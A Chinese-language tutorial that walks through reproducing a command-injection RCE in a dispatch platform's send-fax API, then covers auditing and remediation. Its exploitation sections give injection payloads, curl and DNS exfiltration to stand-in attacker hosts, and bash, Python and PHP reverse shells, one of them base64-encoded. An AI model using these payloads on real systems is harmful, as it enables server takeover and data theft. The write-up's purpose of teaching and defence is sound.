1. 项目概述:一次典型的Web应用RCE漏洞复现之旅
最近在梳理一些历史漏洞案例,福建科立讯通信指挥调度平台的“send-fax”接口远程命令执行漏洞(RCE)是一个挺有代表性的例子。它不是什么惊天动地的零日,但胜在“典型”——典型的逻辑缺陷、典型的参数拼接、典型的防护缺失,非常适合用来理解Web应用安全中那些“老生常谈”却又屡禁不止的问题。这个漏洞的核心,简单来说,就是攻击者能够通过一个看似正常的文件上传或传真发送功能,在服务器上执行任意系统命令,从而完全控制服务器。对于安全研究人员,这是绝佳的学习样本;对于企业运维和开发,则是一记响亮的警钟。今天,我就带大家完整走一遍这个漏洞的复现与分析过程,不仅告诉你“怎么做”,更重点拆解“为什么能这么做”,以及在实际渗透测试和代码审计中,如何快速定位这类问题。
2. 漏洞环境搭建与初步侦查
2.1 目标环境准备
要复现漏洞,首先得有一个靶场环境。由于科立讯通信的官方系统不便直接用于测试,我们通常采用两种方式:一是寻找历史版本的安装包在虚拟机中搭建;二是使用安全研究人员构建的漏洞环境Docker镜像。这里我推荐后者,因为它更干净、更可控,避免了因依赖缺失导致的各种环境问题。
我选择了一个基于Vulhub或类似项目构建的Docker环境。启动命令很简单:
docker pull some-repo/kelixun-rce:latest docker run -d -p 8080:80 --name kelixun some-repo/kelixun-rce启动后,访问http://your-ip:8080就能看到指挥调度平台的登录界面。这个复现环境通常已经预设了默认的后台账号密码(如 admin/admin123),方便我们直接进入系统进行测试。
注意:所有漏洞复现必须在授权或隔离的实验室环境中进行,严禁对未授权的真实系统进行任何测试。搭建本地靶场是安全研究的基本伦理和法律底线。
2.2 信息收集与功能点定位
登录系统后,第一步不是盲目测试,而是进行系统的信息收集。我们需要了解这个“指挥调度平台”是做什么的。顾名思义,它用于应急指挥、通信调度,通常会集成语音通话、视频监控、传真、短信等功能模块。我们的目标漏洞涉及“send-fax”(发送传真),那么我们就需要在系统中找到与传真相关的功能。
通过浏览菜单,我们很快找到了“传真管理”或“文件发送”之类的模块。点击进入,会发现一个上传文件并填写传真号码、标题等信息的界面。用浏览器的开发者工具(F12)查看这个页面的网络请求,重点关注提交表单时的API接口。通常,这个请求会发送到一个类似/api/sendFax或/fax/send的端点,使用POST方法,参数中会包含传真号码、文件内容等。
这个初步侦查至关重要,它帮助我们:
- 确认漏洞入口:找到了名为“send-fax”的功能点。
- 理解数据流:知道了客户端如何与服务器交互,参数是如何传递的。
- 为后续测试做准备:记下关键的URL、请求方法(POST)和参数名(如
faxNumber,fileName,fileContent等)。
3. 漏洞原理深度剖析:从参数拼接到底层调用
3.1 漏洞触发点分析
为什么一个发送传真的功能会导致远程命令执行?问题的根源往往出在服务器端处理上传文件或传真内容的逻辑上。一种非常常见的错误模式是:应用程序将用户可控的数据,未经充分过滤,直接拼接到了系统命令中,然后调用诸如Runtime.exec()(Java)、os.system()(Python)、exec()(PHP)等函数去执行。
让我们来还原一下漏洞代码可能的模样(以下为基于常见漏洞模式的推测性伪代码):
// 伪代码,示意危险操作 public void sendFax(String faxNumber, String fileName, byte[] fileData) { // 1. 将上传的文件保存到临时目录 String tempFilePath = "/tmp/" + fileName; saveFile(fileData, tempFilePath); // 2. 构造传真发送命令 // 假设使用某个命令行工具'sendfax'来发送传真 String command = "sendfax -n " + faxNumber + " -f " + tempFilePath; // 3. 危险!直接执行拼接后的命令 Runtime.getRuntime().exec(command); }或者,在脚本语言中可能更直接:
#!/bin/sh # 后端可能通过Shell脚本调用 fax_number=$1 file_path=$2 sendfax -n $fax_number -f $file_path如果faxNumber或fileName这两个参数用户可控,并且程序没有进行严格的过滤(比如只允许数字、字母、点、下划线等),攻击者就可以注入额外的命令。
3.2 命令注入的多种姿势
假设faxNumber参数存在注入点。攻击者可以尝试以下Payload:
- 基本注入:
faxNumber=10086;id。在Linux/Unix中,分号;是命令分隔符。这会导致系统先执行sendfax -n 10086 -f /tmp/xxx,然后执行id命令。 - 利用反引号或$():
faxNumber=10086$(id)。反引号或$()会先执行其中的命令,并将其输出替换到原命令字符串中。 - 利用管道或逻辑运算符:
faxNumber=10086|whoami或faxNumber=10086||whoami。 - 利用参数注入:有时注入点不在命令主体,而在某个命令的参数中。例如,如果
fileName可控,攻击者可以传入test.jpg;whoami;.jpg。当服务器拼接路径时,可能因为解析问题导致命令执行。
在这个“科立讯send-fax”漏洞的公开描述中,问题很可能出在某个参数(如传真号码、文件名,甚至是文件内容元数据)被直接拼接到一个用于调用底层传真服务或文件转换服务的系统命令中。由于输入校验缺失或过于宽松,导致了RCE。
3.3 漏洞利用链的构建
一个完整的利用链不仅仅是执行一个whoami或id。在实战中,我们需要考虑:
- 回显问题:命令执行的结果如何返回给攻击者?如果页面没有回显,我们就需要构造能外带数据的命令,例如
curl http://attacker.com/?data=$(whoami|base64)。 - 权限问题:当前Web服务(如Tomcat、Apache)运行在什么权限下?是root、www-data还是其他受限用户?这决定了我们能做什么。
- 字符过滤与绕过:目标系统是否过滤了空格、分号、管道符等?我们需要尝试用
${IFS}代替空格,用%0a(换行符)代替分号,或用编码、混淆的方式进行绕过。 - 稳定Shell获取:一次性命令执行不稳定,我们通常希望获得一个交互式的反向Shell。这可以通过在目标服务器上执行如
bash -i >& /dev/tcp/攻击者IP/端口 0>&1这样的命令来实现。
4. 手工复现与漏洞验证实操
4.1 构造恶意请求
基于前面的分析,我们开始手工复现。使用Burp Suite或类似的HTTP代理工具拦截发送传真的请求。
假设拦截到的正常请求如下:
POST /api/v1/fax/send HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded faxNumber=13800138000&fileName=report.pdf&fileContent=[BASE64_DATA]我们的目标是注入命令。如果怀疑faxNumber参数存在注入,可以尝试修改:
faxNumber=13800138000;whoami;&fileName=report.pdf&fileContent=[BASE64_DATA]如果页面返回了错误,或者传真状态异常,但没有命令执行结果,可能是无回显。我们需要尝试外带数据:
faxNumber=13800138000;curl${IFS}http://your-vps:9999/$(whoami);&fileName=test.pdf&...同时,在自己的VPS上启动一个监听:nc -lvnp 9999。如果收到请求,并且路径中包含当前用户名,就证明漏洞存在且命令执行成功。
4.2 获取反向Shell
验证漏洞存在后,下一步是获取一个更稳定的Shell。由于目标环境可能没有nc、bash等工具,或者存在防火墙限制,我们需要准备多种Payload。
Linux环境下常用反向Shell命令:
# 方法1:使用bash(最常见) bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1 # 方法2:使用python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' # 方法3:使用php php -r '$sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'我们需要将这些命令进行URL编码,然后插入到可注入的参数中。由于命令中可能包含空格、重定向符号等特殊字符,直接拼接可能会被破坏。通常的做法是:
- 将完整的反向Shell命令用Base64编码。
- 在注入点构造解码并执行的命令。
例如,Bash反向Shell的Base64编码:
echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' | base64 # 得到编码后字符串:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo=然后在注入点这样构造:
faxNumber=13800138000;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo=|base64${IFS}-d|bash;&fileName=test.pdf这个Payload会先echo出Base64字符串,然后解码,最后通过管道交给bash执行。
实操心得:在真实测试中,经常会遇到命令执行了但Shell没弹回来的情况。除了检查IP、端口、防火墙,还要注意Payload中的特殊字符是否被Web容器或WAF转义了。多准备几种编码和变形方式(如使用
sh -c包裹、使用%0a换行执行多条语句)是成功的关键。
4.3 漏洞验证与信息收集
成功获取反向Shell后,我们首先进行初步的信息收集,确认漏洞的完整性和影响范围:
# 查看当前用户和权限 whoami id sudo -l # 查看系统信息 uname -a cat /etc/issue cat /etc/*release* # 查看网络连接和进程 netstat -antp ps aux | grep -i kelixun # 查找科立讯相关进程 # 查看Web应用路径 ps aux | grep java # 如果是Java应用,查看进程启动参数中的classpath或war包路径 find / -name \"*.jar\" -type f | grep -i fax # 寻找可能包含漏洞代码的jar包这些信息对于后续的深入分析和编写漏洞报告至关重要。
5. 漏洞挖掘与代码审计视角
5.1 如何发现此类漏洞
对于安全研究人员,除了复现已知漏洞,更重要的是掌握发现未知漏洞的方法。针对“命令执行”这类漏洞,在代码审计和黑盒测试中各有侧重:
黑盒测试(模糊测试):
- 参数枚举:对每一个HTTP参数(GET/POST/Cookie/Header)都尝试注入测试Payload。
- Payload清单:准备一个全面的命令注入Payload清单,包括各种分隔符(
;,&,|,||,&&)、子Shell($()、`)、空格绕过(${IFS},%20,+,TAB)等。 - 时间盲注:如果无回显,尝试使用
sleep命令。例如,注入;sleep 5;,观察请求响应时间是否明显延迟5秒。 - DNS外带:使用
ping或nslookup将命令执行结果带到DNS查询中,适用于严格的外网防火墙策略。例如:;nslookup $(whoami).attacker-domain.com;。
白盒审计(代码审计):
- 危险函数搜索:在源代码中全局搜索以下关键词:
- Java:
Runtime.exec(),ProcessBuilder,GroovyShell.evaluate()。 - Python:
os.system(),os.popen(),subprocess.call(),eval(),exec()。 - PHP:
system(),exec(),shell_exec(),passthru(),popen(), 反引号`。 - 其他:任何调用脚本解释器的函数。
- Java:
- 跟踪数据流:找到危险函数后,向上回溯其参数来源。检查这些参数是否来自用户输入(如
HttpServletRequest.getParameter()、$_GET[‘xxx’]),并且在整个传递过程中是否经过了有效的过滤或净化。 - 检查过滤逻辑:常见的过滤误区包括:
- 黑名单过滤:只过滤了空格,但没过滤
${IFS};只过滤了;,但没过滤换行符\n。 - 部分过滤:只对参数值的一部分进行过滤,或者过滤后又在其他地方拼接了未过滤的数据。
- 错误的使用安全函数:例如,使用
String.replaceAll(“;”, “”),但攻击者可以输入;;,过滤一次后变成;,依然有效。
- 黑名单过滤:只过滤了空格,但没过滤
5.2 针对传真/文件处理功能的审计重点
对于“send-fax”这类功能,审计时需要特别关注:
- 文件上传后的处理流程:文件保存后,是否调用了系统命令进行格式转换(如
convert、soffice)、病毒扫描(如clamscan)、属性读取(如file命令)? - 第三方库或组件调用:是否使用了某些开源的传真处理库,而这些库内部存在命令拼接?
- 配置文件中的命令模板:应用程序是否从配置文件中读取命令模板,然后将用户输入拼接进去?例如,配置中写着
fax_cmd = /usr/bin/sendfax -n {number} -f {file},代码直接做字符串替换。 - 日志记录功能:是否将用户输入记录到日志时,调用了系统命令?例如,
logger “Received fax from $number”,如果$number可控,就可能造成注入。
6. 修复建议与安全开发规范
6.1 立即修复措施
如果确认系统存在此类漏洞,应立即采取以下措施:
- 输入验证与过滤:
- 白名单原则:对于传真号码,严格限定为数字、短横线、加号等合法字符,使用正则表达式进行校验。例如:
^[0-9+\-]{6,20}$。 - 拒绝黑名单:避免使用黑名单过滤特殊字符,因为很容易被绕过。
- 白名单原则:对于传真号码,严格限定为数字、短横线、加号等合法字符,使用正则表达式进行校验。例如:
- 避免命令拼接:
- 使用API替代命令:寻找是否有纯Java/Python/PHP的传真处理库,避免直接调用系统命令。
- 使用参数化调用:如果必须调用系统命令,应使用参数化方式。例如,在Java中使用
ProcessBuilder,并将参数作为独立的字符串数组传递,而不是拼接成一个字符串。
// 错误做法 String cmd = “sendfax -n ” + faxNumber + “ -f ” + filePath; Runtime.getRuntime().exec(cmd); // 正确做法 ProcessBuilder pb = new ProcessBuilder(“sendfax”, “-n”, faxNumber, “-f”, filePath); pb.start();- 严格限制命令和参数:预先定义好可执行的命令和允许的参数,不从用户输入中动态构造。
- 最小权限原则:运行Web服务的账户(如
tomcat、www-data)应仅拥有必要的最小权限,绝不能以root身份运行。这样即使被攻破,攻击者能造成的破坏也有限。 - 部署Web应用防火墙(WAF):作为临时缓解措施,可以配置WAF规则,拦截包含可疑命令分隔符和常见命令关键词的请求。
6.2 长期安全开发规范
要从根本上杜绝此类漏洞,需要在开发流程中融入安全:
- 安全培训:让开发人员了解OWASP Top 10,特别是“注入”类漏洞的原理和危害。
- 代码审计制度化:将安全代码审计作为上线前的必要环节,或使用SAST(静态应用安全测试)工具进行自动化扫描。
- 使用安全函数库:鼓励使用经过安全审计的、提供参数化接口的库来处理敏感操作(如文件操作、系统调用)。
- 模糊测试常态化:在测试阶段,对暴露的接口进行系统的模糊测试,提前发现潜在问题。
7. 拓展思考与同类漏洞关联
这个“send-fax” RCE漏洞并非孤例。它属于“不安全的外部命令调用”或“命令注入”大类。在各类管理平台、物联网设备、网络设备中,只要涉及调用系统命令来处理用户输入,就存在类似风险。
我们可以举一反三,关注其他类似场景:
- 网络设备(路由器、防火墙):通过Web界面进行ping、traceroute诊断时,参数注入。
- 监控系统:通过Web界面添加监控项,执行脚本或命令时注入。
- CI/CD平台:构建任务中,允许用户自定义构建脚本或命令。
- 数据库管理工具:执行SQL查询或备份时,调用系统命令。
复现和分析一个漏洞的价值,远不止于掌握一个攻击技巧。更重要的是通过这个案例,建立起一套发现、分析、修复同类问题的思维模式和方法论。当你下次再看到某个管理平台的“文件上传”、“数据导入”、“系统工具”模块时,脑子里应该立刻响起警报:这里会不会有命令拼接?输入是否可控?这,才是漏洞复现带给我们的真正财富。